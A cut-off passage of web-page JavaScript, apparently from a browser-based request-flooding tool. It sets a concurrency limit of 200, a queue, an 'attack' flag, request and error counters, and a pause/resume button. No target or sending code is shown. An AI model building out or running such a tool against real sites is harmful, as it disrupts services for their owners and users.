ts > .row");
        var myModal = new bootstrap.Modal(document.getElementById('exampleModal'), {});
        var CONCURRENCY_LIMIT = 200;
        var queue = [];
        var attack = false;
        var totalrequests = 0;
        var totalerrors = 0;

        function togglePause () {
            if (attack) {
                attack = false;
                document.querySelector("div.desc .btn").innerText = "Resume";
            } else {
                attack = true;
                document.querySelector(